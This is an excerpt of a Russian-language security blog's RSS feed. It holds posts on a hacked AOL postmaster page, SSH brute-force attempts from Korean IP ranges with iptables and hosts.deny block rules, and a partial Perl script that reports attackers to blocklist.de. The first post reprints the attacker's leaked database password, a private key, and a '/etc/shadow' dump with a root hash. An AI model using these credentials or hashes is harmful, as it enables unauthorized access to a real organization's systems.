<p><a href="http://static.sjinks.info/wp-content/uploads/2011/08/aol-postmaster-hacked.png"><img src="http://static.sjinks.info/wp-content/uploads/2011/08/aol-postmaster-hacked.png" alt="" title="AOL Postmaster Hacked" width="647" height="905" class="alignnone size-full wp-image-936" /></a><span id="more-935"></span></p>
<p>В исходнике домашней страницы присутствует такой код:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p93516">
        <div class="code html" id="p935code16">
<span class="sc-2">&lt;!-- Z0M6? Congratz! You've just discovered AOL priv8 dataZ --&gt;</span><br />
<span class="sc-2">&lt;!-- 3nj0y! &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; --&gt;</span><br />
<span class="sc-2">&lt;!-- [+] /data/servers/postmaster.info.aol.com/ --&gt;</span><br />
<br />
<span class="sc-2">&lt;!-- [+] DB Host &nbsp; : dbsmsq-m01.mail.aol.com --&gt;</span><br />
<span class="sc-2">&lt;!-- &nbsp; &nbsp; DB User &nbsp; : grjones &nbsp; &nbsp; &nbsp; &nbsp;--&gt;</span><br />
<span class="sc-2">&lt;!-- &nbsp; &nbsp; DB Passwd : grj123 &nbsp; &nbsp; &nbsp; &nbsp; --&gt;</span><br />
<span class="sc-2">&lt;!-- &nbsp; &nbsp; DB Name &nbsp; : postmaster &nbsp; &nbsp; --&gt;</span><br />
<br />
<span class="sc-2">&lt;!-- [+] Private key : 6LcYbQYAAAAAANfxC3JrgDabK4CrqmYaZseDHSJy &nbsp;--&gt;</span><br />
<span class="sc-2">&lt;!-- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; --&gt;</span><br />
<span class="sc-2">&lt;!-- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; --&gt;</span><br />
<br />
<span class="sc-2">&lt;!-- [+] cat /etc/shadow</span><br />
<span class="sc-2">root:$1$vtIy50fc$H1fN651eQ/mFj58viwulU0:14162:0:99999:7:::</span><br />
<span class="sc-2">bin:*:13469:0:99999:7:::</span><br />
<span class="sc-2">daemon:*:13469:0:99999:7:::</span><br />
<span class="sc-2">adm:*:13469:0:99999:7:::</span><br />
<span class="sc-2">sync:*:13469:0:99999:7:::</span><br />
<span class="sc-2">shutdown:*:13469:0:99999:7:::</span><br />
<span class="sc-2">halt:*:13469:0:99999:7:::</span><br />
<span class="sc-2">mail:*:13469:0:99999:7:::</span><br />
<span class="sc-2">operator:*:13469:0:99999:7:::</span><br />
<span class="sc-2">ftp:*:13469:0:99999:7:::</span><br />
<span class="sc-2">nobody:*:13469:0:99999:7:::</span><br />
<span class="sc-2">dbus:!!:13469:0:99999:7:::</span><br />
<span class="sc-2">vcsa:!!:13469:0:99999:7:::</span><br />
<span class="sc-2">rpm:!!:13469:0:99999:7:::</span><br />
<span class="sc-2">haldaemon:!!:13469:0:99999:7:::</span><br />
<span class="sc-2">netdump:!!:13469:0:99999:7:::</span><br />
<span class="sc-2">nscd:!!:13469:0:99999:7:::</span><br />
<span class="sc-2">sshd:!!:13469:0:99999:7:::</span><br />
<span class="sc-2">smmsp:!!:13469:0:99999:7:::</span><br />
<span class="sc-2">ntp:!!:13469:0:99999:7:::</span><br />
<span class="sc-2">jobi:!!:13471:0:99999:7:::</span><br />
<span class="sc-2">aolfood:!!:13612:0:99999:7:::</span><br />
<span class="sc-2">wuts_adm:Kerberos:::::::</span><br />
<span class="sc-2">publish:NP:13901:0:99999:7:::</span><br />
<span class="sc-2">kellyg:Kerberos:13901:0:99999:7:::</span><br />
<span class="sc-2">pmanees:Kerberos:13916:0:99999:7:::</span><br />
<span class="sc-2">aolrun:Kerberos:10162::::::</span><br />
<span class="sc-2">quantum:Kerberos:10162:::::: &nbsp; &nbsp; &nbsp; --&gt;</span>
        </div>
    </div>
</div>

<p>Облажались ребята по полной программе…</p>
<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/935-aol-postmaster-hacked/">источник</a> обязательно.</p>
<p><a href="http://feedads.g.doubleclick.net/~a/wt3qb9INbnliVZyQmCsZ_y2NCGk/0/da"><img src="http://feedads.g.doubleclick.net/~a/wt3qb9INbnliVZyQmCsZ_y2NCGk/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/wt3qb9INbnliVZyQmCsZ_y2NCGk/1/da"><img src="http://feedads.g.doubleclick.net/~a/wt3qb9INbnliVZyQmCsZ_y2NCGk/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/sjblog_security?a=hm4HChZroTw:7xK6SIYg-4A:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=hm4HChZroTw:7xK6SIYg-4A:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=dnMXMwOfBR0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=hm4HChZroTw:7xK6SIYg-4A:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/sjblog_security?i=hm4HChZroTw:7xK6SIYg-4A:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=hm4HChZroTw:7xK6SIYg-4A:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=hm4HChZroTw:7xK6SIYg-4A:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/sjblog_security?i=hm4HChZroTw:7xK6SIYg-4A:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=hm4HChZroTw:7xK6SIYg-4A:l6gmwiTKsz0"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=l6gmwiTKsz0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=hm4HChZroTw:7xK6SIYg-4A:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/sjblog_security?i=hm4HChZroTw:7xK6SIYg-4A:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=hm4HChZroTw:7xK6SIYg-4A:TzevzKxY174"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=TzevzKxY174" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/sjblog_security/~4/hm4HChZroTw" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/security/935-aol-postmaster-hacked/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		<feedburner:origLink>http://blog.sjinks.pro/security/935-aol-postmaster-hacked/</feedburner:origLink></item>
		<item>
		<title>Корейцы разбушевались…</title>
		<link>http://feedproxy.google.com/~r/sjblog_security/~3/3UAW0JzrbdY/</link>
		<comments>http://blog.sjinks.pro/security/928-suspicious-activity-from-korea/#comments</comments>
		<pubDate>Fri, 05 Aug 2011 03:40:53 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[iptables]]></category>
		<category><![CDATA[LFD]]></category>
		<category><![CDATA[ssh]]></category>
		<category><![CDATA[безопасность]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=928</guid>
		<description><![CDATA[Не к добру… Сегодня с утра наблюдается какая-то повышенная активность хакеров с корейскими IP-адресами. Были замечены попытки подбора паролей на SSH со следующих IP-адресов: 14.36.36.243 14.32.0.0/11 14.42.239.118 59.2.171.221 59.0.0.0/11 59.2.184.48 59.17.15.76 59.29.157.41 61.76.108.200 61.72.0.0/14 119.195.195.78 119.192.0.0/11 119.199.168.176 121.131.45.67 121.128.0.0/11 121.146.29.82 121.159.193.229 121.165.92.190 121.160.0.0/11 121.169.48.28 121.187.210.87 175.209.131.3 175.192.0.0/12 220.73.5.10 220.72.0.0/12 220.82.171.129 221.153.60.141 221.144.0.0/12 222.97.10.66 222.96.0.0/12 Aug [...]<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/928-suspicious-activity-from-korea/">источник</a> обязательно.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>Не к добру…</em></h2>
<p>Сегодня с утра наблюдается какая-то повышенная активность хакеров с корейскими IP-адресами.</p>
<p>Были замечены попытки подбора паролей на <a href="http://blog.sjinks.pro/tag/ssh/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  ssh">SSH</a> со следующих IP-адресов:</p>
<table class="bordered" cellpadding="2">
<tbody>
<tr>
<td>14.36.36.243</td>
<td rowspan="2">14.32.0.0/11</td>
</tr>
<tr>
<td>14.42.239.118</td>
</tr>
<tr>
<td>59.2.171.221</td>
<td rowspan="4">59.0.0.0/11</td>
</tr>
<tr>
<td>59.2.184.48</td>
</tr>
<tr>
<td>59.17.15.76</td>
</tr>
<tr>
<td>59.29.157.41</td>
</tr>
<tr>
<td>61.76.108.200</td>
<td>61.72.0.0/14</td>
</tr>
<tr>
<td>119.195.195.78</td>
<td rowspan="2">119.192.0.0/11</td>
</tr>
<tr>
<td>119.199.168.176</td>
</tr>
<tr>
<td>121.131.45.67</td>
<td rowspan="3">121.128.0.0/11</td>
</tr>
<tr>
<td>121.146.29.82</td>
</tr>
<tr>
<td>121.159.193.229</td>
</tr>
<tr>
<td>121.165.92.190</td>
<td rowspan="3">121.160.0.0/11</td>
</tr>
<tr>
<td>121.169.48.28</td>
</tr>
<tr>
<td>121.187.210.87</td>
</tr>
<tr>
<td>175.209.131.3</td>
<td>175.192.0.0/12</td>
</tr>
<tr>
<td>220.73.5.10</td>
<td rowspan="2">220.72.0.0/12</td>
</tr>
<tr>
<td>220.82.171.129</td>
</tr>
<tr>
<td>221.153.60.141</td>
<td>221.144.0.0/12</td>
</tr>
<tr>
<td>222.97.10.66</td>
<td>222.96.0.0/12</td>
</tr>
</tbody>
</table>
<p><span id="more-928"></span></p>
          
<div class="codebox">
    <div class="the_code" style="" id="p92821">
        <div class="code text" id="p928code21">
Aug &nbsp;5 02:33:49 sjinks sshd[14588]: Did not receive identification string from 220.73.5.10<br />
Aug &nbsp;5 02:33:49 sjinks sshd[14587]: Did not receive identification string from 220.73.5.10<br />
Aug &nbsp;5 02:33:49 sjinks sshd[14589]: Did not receive identification string from 220.73.5.10<br />
Aug &nbsp;5 02:33:49 sjinks sshd[14590]: Did not receive identification string from 220.73.5.10<br />
Aug &nbsp;5 02:33:49 sjinks sshd[14591]: Did not receive identification string from 220.73.5.10<br />
Aug &nbsp;5 02:33:57 sjinks sshd[14592]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=220.73.5.10 &nbsp;user=root<br />
Aug &nbsp;5 02:33:57 sjinks sshd[14597]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=220.73.5.10 &nbsp;user=root<br />
<br />
Aug &nbsp;5 03:18:40 sjinks sshd[25082]: Did not receive identification string from 59.29.157.41<br />
Aug &nbsp;5 03:18:40 sjinks sshd[25083]: Did not receive identification string from 59.29.157.41<br />
Aug &nbsp;5 03:18:41 sjinks sshd[25084]: Did not receive identification string from 59.29.157.41<br />
Aug &nbsp;5 03:18:41 sjinks sshd[25085]: Did not receive identification string from 59.29.157.41<br />
Aug &nbsp;5 03:18:41 sjinks sshd[25086]: Did not receive identification string from 59.29.157.41<br />
Aug &nbsp;5 03:18:49 sjinks sshd[25094]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=59.29.157.41 &nbsp;user=root<br />
Aug &nbsp;5 03:18:49 sjinks sshd[25091]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=59.29.157.41 &nbsp;user=root<br />
<br />
Aug &nbsp;5 03:18:56 sjinks sshd[25111]: Did not receive identification string from 221.153.60.141<br />
Aug &nbsp;5 03:18:56 sjinks sshd[25112]: Did not receive identification string from 221.153.60.141<br />
Aug &nbsp;5 03:18:56 sjinks sshd[25113]: Did not receive identification string from 221.153.60.141<br />
Aug &nbsp;5 03:18:56 sjinks sshd[25114]: Did not receive identification string from 221.153.60.141<br />
Aug &nbsp;5 03:18:56 sjinks sshd[25115]: Did not receive identification string from 221.153.60.141<br />
Aug &nbsp;5 03:19:04 sjinks sshd[25145]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=221.153.60.141 &nbsp;user=root<br />
Aug &nbsp;5 03:19:04 sjinks sshd[25147]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=221.153.60.141 &nbsp;user=root<br />
<br />
Aug &nbsp;5 03:19:49 sjinks sshd[25248]: Did not receive identification string from 121.169.48.28<br />
Aug &nbsp;5 03:19:49 sjinks sshd[25249]: Did not receive identification string from 121.169.48.28<br />
Aug &nbsp;5 03:19:49 sjinks sshd[25250]: Did not receive identification string from 121.169.48.28<br />
Aug &nbsp;5 03:19:49 sjinks sshd[25251]: Did not receive identification string from 121.169.48.28<br />
Aug &nbsp;5 03:19:49 sjinks sshd[25252]: Did not receive identification string from 121.169.48.28<br />
Aug &nbsp;5 03:19:57 sjinks sshd[25266]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=121.169.48.28 &nbsp;user=root<br />
Aug &nbsp;5 03:19:57 sjinks sshd[25271]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=121.169.48.28 &nbsp;user=root<br />
<br />
Aug &nbsp;5 03:21:58 sjinks sshd[26375]: Did not receive identification string from 61.76.108.200<br />
Aug &nbsp;5 03:21:58 sjinks sshd[26377]: Did not receive identification string from 61.76.108.200<br />
Aug &nbsp;5 03:21:58 sjinks sshd[26378]: Did not receive identification string from 61.76.108.200<br />
Aug &nbsp;5 03:21:58 sjinks sshd[26379]: Did not receive identification string from 61.76.108.200<br />
Aug &nbsp;5 03:22:06 sjinks sshd[26390]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=61.76.108.200 &nbsp;user=root<br />
Aug &nbsp;5 03:22:06 sjinks sshd[26393]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=61.76.108.200 &nbsp;user=root<br />
<br />
Aug &nbsp;5 03:22:01 sjinks sshd[26380]: Did not receive identification string from 220.82.171.129<br />
Aug &nbsp;5 03:22:01 sjinks sshd[26381]: Did not receive identification string from 220.82.171.129<br />
Aug &nbsp;5 03:22:01 sjinks sshd[26382]: Did not receive identification string from 220.82.171.129<br />
Aug &nbsp;5 03:22:01 sjinks sshd[26383]: Did not receive identification string from 220.82.171.129<br />
Aug &nbsp;5 03:22:01 sjinks sshd[26384]: Did not receive identification string from 220.82.171.129<br />
Aug &nbsp;5 03:22:09 sjinks sshd[26408]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=220.82.171.129 &nbsp;user=root<br />
Aug &nbsp;5 03:22:09 sjinks sshd[26425]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=220.82.171.129 &nbsp;user=root<br />
<br />
Aug &nbsp;5 03:32:59 sjinks sshd[28817]: Did not receive identification string from 59.17.15.76<br />
Aug &nbsp;5 03:32:59 sjinks sshd[28818]: Did not receive identification string from 59.17.15.76<br />
Aug &nbsp;5 03:32:59 sjinks sshd[28819]: Did not receive identification string from 59.17.15.76<br />
Aug &nbsp;5 03:32:59 sjinks sshd[28820]: Did not receive identification string from 59.17.15.76<br />
Aug &nbsp;5 03:32:59 sjinks sshd[28821]: Did not receive identification string from 59.17.15.76<br />
Aug &nbsp;5 03:33:07 sjinks sshd[28826]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=59.17.15.76 &nbsp;user=root<br />
Aug &nbsp;5 03:33:07 sjinks sshd[28828]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=59.17.15.76 &nbsp;user=root
        </div>
    </div>
</div>

<p>Всем, кто не пользуется средствами типа Fail2Ban или <a href="http://blog.sjinks.pro/tag/lfd/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  LFD">LFD</a>, самое время задуматься: отсутствие защиты и слабые пароли — короткий путь к участию в ботнете.</p>
<p>Если вы не ожидаете гостей из Кореи, очень рекомендую заблокировать эти адреса либо firewall&#8217;ом, либо через <code>/etc/hosts.deny</code>.</p>
<p>Блокирование при помощи <code><a href="http://blog.sjinks.pro/tag/iptables/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  iptables">iptables</a></code>:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p92822">
        <div class="code bash" id="p928code22">
<span class="kw1">for</span> i <span class="kw1">in</span> 14.36.36.243 14.42.239.118 59.2.171.221 59.2.184.48 59.17.15.76 \<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;59.29.157.41 61.76.108.200 119.195.195.78 119.199.168.176 121.131.45.67 \<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;121.146.29.82 121.159.193.229 121.165.92.190 121.169.48.28 121.187.210.87 \<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;175.209.131.3 220.73.5.10 220.82.171.129 221.153.60.141 222.97.10.66; <span class="kw1">do</span> \<br />
&nbsp; &nbsp; iptables <span class="re5">-A</span> INPUT <span class="re5">-s</span> <span class="re1">$i</span> <span class="re5">-j</span> DROP; \<br />
<span class="kw1">done</span>
        </div>
    </div>
</div>

<p>Агрессивное блокирование:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p92823">
        <div class="code bash" id="p928code23">
<span class="kw1">for</span> i <span class="kw1">in</span> 14.32.0.0<span class="sy0">/</span>11 59.0.0.0<span class="sy0">/</span>11 61.72.0.0<span class="sy0">/</span>14 119.192.0.0<span class="sy0">/</span>11 121.128.0.0<span class="sy0">/</span>11 \<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;121.160.0.0<span class="sy0">/</span>11 175.192.0.0<span class="sy0">/</span>12 220.72.0.0<span class="sy0">/</span>12 221.144.0.0<span class="sy0">/</span>12 222.96.0.0<span class="sy0">/</span><span class="nu0">12</span>; <span class="kw1">do</span> \<br />
&nbsp; &nbsp; iptables <span class="re5">-A</span> INPUT <span class="re5">-s</span> <span class="re1">$i</span> <span class="re5">-j</span> DROP; \<br />
<span class="kw1">done</span>
        </div>
    </div>
</div>

<p>Если <code>iptables</code> поддерживает цель <code>TARPIT</code>, можно использовать её вместо <code>DROP</code>.</p>
<p>Блокирование с использованием <code>tcpwrappers</code>: нужно добавить такие строки в <code>/etc/hosts.deny</code>:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p92824">
        <div class="code text" id="p928code24">
sshd: 14.36.36.243 14.42.239.118 59.2.171.221 59.2.184.48 59.17.15.76<br />
sshd: 59.29.157.41 61.76.108.200 119.195.195.78 119.199.168.176 121.131.45.67<br />
sshd: 121.146.29.82 121.159.193.229 121.165.92.190 121.169.48.28 121.187.210.87<br />
sshd: 175.209.131.3 220.73.5.10 220.82.171.129 221.153.60.141 222.97.10.66
        </div>
    </div>
</div>

<p>Коллеги, будьте бдительны!</p>
<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/928-suspicious-activity-from-korea/">источник</a> обязательно.</p>
<p><a href="http://feedads.g.doubleclick.net/~a/bxiqqQsT-wfdCXifFznKU56qdsk/0/da"><img src="http://feedads.g.doubleclick.net/~a/bxiqqQsT-wfdCXifFznKU56qdsk/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/bxiqqQsT-wfdCXifFznKU56qdsk/1/da"><img src="http://feedads.g.doubleclick.net/~a/bxiqqQsT-wfdCXifFznKU56qdsk/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/sjblog_security?a=3UAW0JzrbdY:ifbPHVjVX-E:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=3UAW0JzrbdY:ifbPHVjVX-E:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=dnMXMwOfBR0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=3UAW0JzrbdY:ifbPHVjVX-E:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/sjblog_security?i=3UAW0JzrbdY:ifbPHVjVX-E:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=3UAW0JzrbdY:ifbPHVjVX-E:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=3UAW0JzrbdY:ifbPHVjVX-E:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/sjblog_security?i=3UAW0JzrbdY:ifbPHVjVX-E:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=3UAW0JzrbdY:ifbPHVjVX-E:l6gmwiTKsz0"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=l6gmwiTKsz0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=3UAW0JzrbdY:ifbPHVjVX-E:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/sjblog_security?i=3UAW0JzrbdY:ifbPHVjVX-E:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=3UAW0JzrbdY:ifbPHVjVX-E:TzevzKxY174"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=TzevzKxY174" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/sjblog_security/~4/3UAW0JzrbdY" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/security/928-suspicious-activity-from-korea/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		<feedburner:origLink>http://blog.sjinks.pro/security/928-suspicious-activity-from-korea/</feedburner:origLink></item>
		<item>
		<title>Интеграция LFD с blocklist.de</title>
		<link>http://feedproxy.google.com/~r/sjblog_security/~3/Dqu-eT0QzKU/</link>
		<comments>http://blog.sjinks.pro/security/924-integrate-lfd-with-blocklist/#comments</comments>
		<pubDate>Sun, 17 Jul 2011 18:17:24 +0000</pubDate>
		<dc:creator>Wandering Soul</dc:creator>
				<category><![CDATA[Администрирование]]></category>
		<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[blocklist.de]]></category>
		<category><![CDATA[CSF]]></category>
		<category><![CDATA[LFD]]></category>
		<category><![CDATA[Perl]]></category>
		<category><![CDATA[атака]]></category>
		<category><![CDATA[безопасность]]></category>
		<category><![CDATA[взлом]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=924</guid>
		<description><![CDATA[Автоматическое уведомление blocklist.de при попытке атаки на сервер LFD (Login Failure Daemon) — модуль замечательного пакета CSF (ConfigServer Security and Firewall), отвечающий за анализ системных журналов и блокировку потенциальных взломщиков. CSF умеет отправлять отчёты об атаках в формате X-ARF (в виде, пригодном для перенаправления отчёта в отдел жалоб и нарушений провайдера атакующего). Но иногда хочется сделать добро [...]<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/924-integrate-lfd-with-blocklist/">источник</a> обязательно.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>Автоматическое уведомление <a href="http://blog.sjinks.pro/tag/blocklist-de/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  blocklist.de">blocklist.de</a> при попытке атаки на сервер</em></h2>
<p><a href="http://blog.sjinks.pro/tag/lfd/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  LFD">LFD</a> (Login Failure Daemon) — модуль замечательного пакета <a href="http://blog.sjinks.pro/tag/csf/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  CSF">CSF</a> (<a href="http://www.configserver.com/cp/csf.html">ConfigServer Security and Firewall</a>), отвечающий за анализ системных журналов и блокировку потенциальных взломщиков.</p>
<p>CSF умеет отправлять отчёты об атаках в формате X-ARF (в виде, пригодном для перенаправления отчёта в отдел жалоб и нарушений провайдера атакующего). Но иногда хочется сделать добро окружающим людям — чем быстрее узнают о потенциальном взломщике и заблокируют его IP-адрес, тем меньше вреда он успеет нанести.</p>
<p>Один из сервисов, занимающихся публикацией IP-адресов всяких взломщиков — это <a href="http://www.blocklist.de/en/index.html">Blocklist.de</a>. Этот сервис очень хорошо интегрируется с <a href="http://www.fail2ban.org/wiki/index.php/Main_Page">Fail2Ban</a>, но существует и возможность посылать отчёты и <a href="http://www.blocklist.de/en/download.html#ohnefail2ban">без Fail2Ban</a>.<span id="more-924"></span></p>
<p>У LFD есть опция вызывать пользовательский скрипт при блокировке IP-адреса нарушителя; эту опцию можно использовать для отправки отчёта в Blocklist.de.</p>
<p>Пользовательский скрипт принимает 8 параметров:</p>
<ol>
<li>IP-адрес нарушителя</li>
<li>Блокируемые порты</li>
<li>Тип блокировки (постоянная или временная)</li>
<li>Направление блокировки</li>
<li>Срок блокировки</li>
<li>Информация о причинах блокировки (например, <code>(CT) IP 91.77.88.36 (RU/Russian Federation/ppp91-77-88-36.pppoe.mtu-net.ru) found to have 348 connections</code>)</li>
<li>Строки из системного журнала/доказательства, свидетельствующие о попытке атаки</li>
<li>Триггер блокировки (идентифицирует атакуемый сервис)</li>
</ol>
<p>Ниже приведена простая версия скрипта, отправляющая уведомление об атаке в Blocklist.de:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p92427">
        <div class="code perl" id="p924code27">
<span class="co1">#! /usr/bin/perl</span><br />
<br />
<span class="kw2">use</span> strict<span class="sy0">;</span><br />
<span class="kw2">use</span> warnings<span class="sy0">;</span><br />
<span class="kw2">use</span> MIME<span class="sy0">::</span><span class="me2">Lite</span><span class="sy0">;</span> <span class="co1"># Пакет libmime-lite-perl в Debian/Ubuntu</span><br />
<br />
<span class="kw1">my</span> <span class="re0">$from</span> <span class="sy0">=</span> <span class="st_h">'security@domain.com'</span><span class="sy0">;</span><br />
<span class="kw1">my</span> <span class="re0">$to</span> &nbsp; <span class="sy0">=</span> <span class="st_h">'email@example.com'</span><span class="sy0">;</span><br />
<span class="kw1">my</span> <span class="re0">$rp</span> &nbsp; <span class="sy0">=</span> <span class="re0">$from</span><span class="sy0">;</span><br />
<br />
<span class="kw1">my</span> <span class="re0">$ip</span> &nbsp; &nbsp; &nbsp;<span class="sy0">=</span> <span class="re0">$ARGV</span><span class="br0">&#91;</span>0<span class="br0">&#93;</span> <span class="sy0">||</span> <span class="st_h">''</span><span class="sy0">;</span><br />
<span class="kw1">my</span> <span class="re0">$ports</span> &nbsp; <span class="sy0">=</span> <span class="re0">$ARGV</span><span class="br0">&#91;</span>1<span class="br0">&#93;</span> <span class="sy0">||</span> <span class="st_h">''</span><span class="sy0">;</span><br />
<span class="kw1">my</span> <span class="re0">$perm</span> &nbsp; &nbsp;<span class="sy0">=</span> <span class="re0">$ARGV</span><span class="br0">&#91;</span>2<span class="br0">&#93;</span> <span class="sy0">||</span> <span class="st_h">''</span><span class="sy0">;</span><br />
<span class="kw1">my</span> <span class="re0">$inout</span> &nbsp; <span class="sy0">=</span> <span class="re0">$ARGV</span><span class="br0">&#91;</span>3<span class="br0">&#93;</span> <span class="sy0">||</span> <span class="st_h">''</span><span class="sy0">;</span><br />
<span class="kw1">my</span> <span class="re0">$ttl</span> &nbsp; &nbsp; <span class="sy0">=</span> <span class="re0">$ARGV</span><span class="br0">&#91;</span>4<span class="br0">&#93;</span> <span class="sy0">||</span> <span class="st_h">''</span><span class="sy0">;</span><br />
<span class="kw1">my</span> <span class="re0">$msg</span> &nbsp; &nbsp; <span class="sy0">=</span> <span class="re0">$ARGV</span><span class="br0">&#91;</span>5<span class="br0">&#93;</span> <span class="sy0">||</span> <span class="st_h">''</span><span class="sy0">;</span><br />
